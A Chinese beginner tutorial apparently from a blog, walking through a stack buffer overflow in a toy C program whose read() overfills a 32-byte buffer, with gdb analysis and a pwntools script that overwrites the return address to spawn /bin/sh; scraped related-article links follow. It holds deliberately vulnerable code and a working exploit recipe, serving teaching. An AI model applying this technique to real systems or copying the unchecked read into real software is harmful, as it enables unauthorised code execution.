一个简单的pwn例子---read函数
内容:
#include<stdio.h>
void exploit()
{system("/bin/sh");
}
void func()
{char str[0x20];read(0, str, 0x50);
}
int main()
{func();return 0;
}
我们要做的是利用溢出执行exploit函数
分析:
先执行func函数,func函数里有个read函数,read函数会读取我们在屏幕上输入的内容,但不会检查内容的多少,全部复制到str里,但str只能存取20个,如果超出这个值,会造成溢出,我们利用溢出,将ret的返回地址改为exlpoit的地址就可以取执行exploit函数了。
首先,把保护机制关了
gcc -no-pie -fno-stack-protector -z execstack -m32 -g -o 11.exe read.c
gdb运行调试
gdb 11.exe
start
找到exlpoit的首地址:0x804843b
查看main的反汇编:
调用func函数后,回来执行mov eax,0x0
我们再查看func的反汇编
执行ret语句后就去执行mov eax,0x0
,func函数调用了read函数,我们要利用read函数产生溢出,让执行ret完去执行exploit函数。这个时候我们看看栈内容。
在push ebp
之前,esp的内容是mov eax,0x0
的eip值,lea eax,[ebp-0x28]
是read读取内容的首地址,所以我们让执行ret完去执行exploit函数,只需让exploit的地址去覆盖栈里面mov eax,0x0
的eip值,从ebp-0x28
到mov eax,0x0
的eip值,地址相差0x28+0x4,因为在func函数里先push 了edp,所以还要加上0x4。
利用程序:
from pwn import *
p=process('./11.exe') //文件路径
offset = 0x28+0x4
payload ='a'*offset+p32(0x804843b) //0x804843b是exploit首地址
p.sendline(payload)
p.interactive()
运行,成功获得权限
一个简单的pwn例子---read函数相关推荐
- mvc登录实例 mysql_spring mvc + mybatis + mysql 调整的一个简单的登录例子
spring mvc + mybatis + mysql 整合的一个简单的登录例子 今天用spring跟mybatis整合写了一个简单的登录例子,第一次整合,给自己做个笔记,可能注释写的有点少,做的不 ...
- boost::log模块实现一个简单日志的例子
boost::log模块实现一个简单日志的例子 实现功能 C++实现代码 实现功能 boost::log模块实现一个简单日志的例子 C++实现代码 #include <boost/log/tri ...
- 轻松创建nodejs服务器(1):一个简单nodejs服务器例子
这篇文章主要介绍了一个简单nodejs服务器例子,本文实现了一个简单的hello world例子,并展示如何运行这个服务器,需要的朋友可以参考下 我们先来实现一个简单的例子,hello world. ...
- matlab求解一元四次函数,excel数据函数参数是四个吗|求一个简单的一元四次函数的最大值...
求四次函数的最值 先求导,令导数等于0,求出x的值,判断单调性,将x代入原函数 4次幂的一元函数怎么计算 解析: (1) 四次方程,有通用求根公式. A 此公式复杂,实际使用较麻烦 B 其推导过程中可 ...
- 一个简单的CORBA例子
因为对CORBA分析的需要,这里写一个简单的CORBA例子.从JDK1.2开始,JDK中集成了ORB的实现,本例子使用了JDK1.7,对于JDK1.2+应该都没有问题.这个例子实现一个简单的加减乘除的 ...
- 使用Multiplayer Networking做一个简单的多人游戏例子-1/3(Unity3D开发之二十五)
猴子原创,欢迎转载.转载请注明: 转载自Cocos2Der-CSDN,谢谢! 原文地址: http://blog.csdn.net/cocos2der/article/details/51006463 ...
- Python网络爬虫 - 一个简单的爬虫例子
下面我们创建一个真正的爬虫例子 爬取我的博客园个人主页首页的推荐文章列表和地址 scrape_home_articles.py from urllib.request import urlopen f ...
- java servlet例子_Servlet学习教程(三)---- 一个简单的Servlet例子
我们用个最简单的Servlet例子来解说一下Servlet简单配置以及Servlet类实现类的写法. 第一,我们新建一个Dynamic Web Project,起名Servlet 点击NEXT,设置D ...
- python网页爬虫例子_Python网络爬虫 - 一个简单的爬虫例子
下面我们创建一个真正的爬虫例子 爬取我的博客园个人主页首页的推荐文章列表和地址 scrape_home_articles.py from urllib.request importurlopenfro ...
最新文章
- 小菜学习Lucene.Net(更新3.0.3版本使用)
- java中使用akka手记三 cluster详例
- AndroidStudio(7)---导入jar包方法
- 在windows下调试ruby192
- 程序员利用恶意软件攻击数万台 Mac、PC,窃取用户隐私长达 13 年
- oppor15android10怎么降级,OPPO R9S7.1系统怎么降回6.0版本 OPPO R9S7.1系统降级教程
- os.environ 和 keras.json
- 猿编程python代码_猿编程怎么练习编程 让你提前熟悉代码
- 洛谷oj刷题记录----数组篇
- 2000-2019年中国地级市人均GDP
- 昨晚 win7 盗版 黑屏了
- Jib使用小结(Maven插件版)
- 天津大学计算机学院杜朴风,开源技术及应用-天津大学计算机学院.PPT
- K8s 集群节点在线率达到 99.9% 以上,扩容效率提升 50%,我们做了这 3 个深度改造...
- 公钥和私钥的完全解释(包括对称算法和非对称算法、RSA解释)
- STM32 GPIOx_CRL/GPIOx_CRH 寄存器
- 25则“验尸报告”— 创业失败者启示录
- 上海计算机二级报名无法选择,2020年二级计算机怎么报名上海
- python有趣小程序春节祝福-Python实现春节祝福语自动回复
- 带透明材质的描绘过程_透明的过程质量
热门文章
- flow 静态类型检查 js
- PHP后台处理jQuery Ajax跨域请求问题 — xx was not called解决办法
- 有趣的js匿名函数写法(function嵌套)
- Android 创建,验证和删除桌面快捷方式 (删除快捷方式测试可用)
- 课程学习:程序设计与算法
- mysql DCL数据控制语言
- CentOS 7安装redis及php扩展
- JavascriptDOM(三)
- 按小时分组mysql 补齐_分组记录按小时或按天白天和mysql的
- ajax包含mysql吗_php 实例ajax与mysql怎么只查询出一条数据?